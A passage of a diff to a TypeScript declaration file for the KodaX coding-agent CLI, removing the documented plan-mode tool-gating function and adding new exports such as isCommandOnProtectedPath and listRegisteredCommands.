- * 4. `bash` special case: command-content-aware check via
2257
- * `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
2258
- * (`git status`, `ls`, …) is permitted; write bash with all targets
2259
- * in the plan-doc / temp escape is permitted; everything else
2260
- * blocks.
2261
- * 5. Everything else with a side effect → blocked with a generic
2262
- * reason naming the side-effect class.
2263
- *
2264
- * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
2265
- * a hardcoded 4-tool list that silently let `multi_edit`,
2266
- * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
2267
- * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
2268
- * fall through to `return null` (permitted). The metadata-driven gate
2269
- * closes that gap structurally — new mutating tools auto-block until
2270
- * explicitly opted in via `planModeAllowed: true`.
2271
- */
2272
- declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string): string | null;
2273
-
2274
2288
  /**
2275
2289
  * Auto-Mode Guardrail Bootstrap — FEATURE_092 phase 2b.7b (v0.7.33).
2276
2290
  *
@@ -2399,5 +2413,5 @@ declare function loadCommands(commandDir?: string): Promise<Map<string, KodaXCom
2399
2413
  declare function processCommandCall(commandName: string, args: string | undefined, commands: Map<string, KodaXCommand>, runAgent: (prompt: string) => Promise<KodaXResult>): Promise<string | null>;
2400
2414
  declare function parseCommandCall(input: string): [string, string?] | null;
2401
2415
 
2402
- export { App, AppProps, AutocompleteContextProvider, BackgroundTaskBar, ChildActivitySurface, ConsoleCapturer, CreatableHistoryItem, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryEntry, HistoryItem, HistoryItemInfo, HistoryItemRenderer, InputPrompt, InputPromptProps, KODAX_COMMANDS_DIR, KeyInfo, KeyMatchers, KeypressHandler, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, Message, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptEditingMode, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusBarProps, StatusNoticesSurface, StreamingProvider, StreamingState, Suggestion, SuggestionsDisplay, TextInput, Theme, ThinkingIndicator, ToolCall, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIActions, UIState, UIStateProvider, UseTextBufferReturn, _resetQueuedPromptsCacheForTests, bootstrapAutoMode, calculateVisualCursorFromLayout, calculateVisualLayout, collectBashWriteTargets, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, dedupeSessions, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, generateId, generateSavePattern, getBashOutsideProjectWriteRisk, getCharAtCodePoint, getCodePointLength, getCustomProviderConfig, getDefaultCommandDir, getKeyDisplayName, getMcpServerConfig, getPlanModeBlockReason, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, isAlwaysConfirmPath, isBashReadCommand, isBashWriteCommand, isClassicReplForced, isFunctionKey, isOwnedRendererPreferred, isPathInsideProject, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isToolCallAllowed, isVsCodeTerminalHostEnv, isWideChar, listCustomProviders, listMcpServers, loadCommands, measureChildActivitySurfaceRows, minimalTheme, parseCommandCall, parseKeypress, processCommandCall, removeCustomProvider, removeMcpServer, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, upsertCustomProvider, upsertMcpServer, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, validateMcpServerConfig, visualWidthCache, withCapture, withCaptureSync };
2416
+ export { App, AppProps, AutocompleteContextProvider, BackgroundTaskBar, ChildActivitySurface, CommandInfo, ConsoleCapturer, CreatableHistoryItem, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryEntry, HistoryItem, HistoryItemInfo, HistoryItemRenderer, InputPrompt, InputPromptProps, KODAX_COMMANDS_DIR, KeyInfo, KeyMatchers, KeypressHandler, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, Message, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptEditingMode, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusBarProps, StatusNoticesSurface, StreamingProvider, StreamingState, Suggestion, SuggestionsDisplay, TextInput, Theme, ThinkingIndicator, ToolCall, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIActions, UIState, UIStateProvider, UseTextBufferReturn, _resetQueuedPromptsCacheForTests, bootstrapAutoMode, calculateVisualCursorFromLayout, calculateVisualLayout, collectBashWriteTargets, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, dedupeSessions, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, generateId, generateSavePattern, getBashOutsideProjectWriteRisk, getCharAtCodePoint, getCodePointLength, getCustomProviderConfig, getDefaultCommandDir, getKeyDisplayName, getMcpServerConfig, getPlanModeBlockReason, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, isAlwaysConfirmPath, isBashReadCommand, isBashWriteCommand, isClassicReplForced, isCommandOnProtectedPath, isFunctionKey, isOwnedRendererPreferred, isPathInsideProject, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isToolCallAllowed, isVsCodeTerminalHostEnv, isWideChar, listCustomProviders, listMcpServers, listRegisteredCommands, loadCommands, measureChildActivitySurfaceRows, minimalTheme, parseCommandCall, parseKeypress, processCommandCall, removeCustomProvider, removeMcpServer, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, upsertCustomProvider, upsertMcpServer, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, validateMcpServerConfig, visualWidthCache, withCapture, withCaptureSync };
2403
2417
  export type { AppHandle, AutoModeBootstrapDeps, AutoModeBootstrapResult, BackgroundTaskBarItem, BackgroundTaskBarProps, ChildActivitySurfaceProps, DialogSelectOption, DialogSurfaceConfirmState, DialogSurfaceProps, DialogSurfaceUIRequestState, DotsIndicatorProps, EffectiveTuiRendererMode, FullscreenPolicy, FullscreenTranscriptLayoutProps, HistoryItemRendererProps, InteractiveSurfacePreference, KeypressManager, KeypressProviderProps, KodaXCommand, KodaXCommandContext, LoadingIndicatorProps, LoadingIndicatorType, MessageActionsProps, MessageListProps, MessageSelectorProps, NotificationSurfaceItem, NotificationsSurfaceProps, PendingInputsIndicatorProps, ProgressIndicatorProps, PromptComposerProps, PromptFooterLeftSideProps, PromptFooterProps, PromptFooterRightSideProps, PromptFooterSurfaceItem, PromptHelpMenuProps, PromptSuggestionsSurfaceProps, QueuedCommandsSurfaceProps, ResolvedAutoModeBootstrapSettings, SessionDedupeMatch, SessionDedupeMove, SessionDedupeOptions, SessionDedupeReport, SessionDedupeSkip, SessionDedupeSkipReason, ShellExecutorConfig, SpinnerProps, StashNoticeProps, StatusNoticesSurfaceProps, StreamingActions, StreamingContextValue, StreamingManager, StreamingProviderProps, StreamingStateListener, SuggestionsDisplayProps, TerminalCapabilities, TerminalHostCapabilities, TerminalHostDetectionOptions, TerminalHostProfile, TerminalRenderHost, TextInputProps, ThinkingIndicatorProps, ToolCallDisplayProps, ToolGroupProps, ToolProgressBarProps, ToolStatusBadgeProps, TranscriptViewportProps, TuiRendererMode, UIStateProviderProps, UseAutocompleteOptions, UseAutocompleteReturn, UseInputHistoryOptions, UseInputHistoryReturn, UseKeypressOptions, UseTextBufferOptions };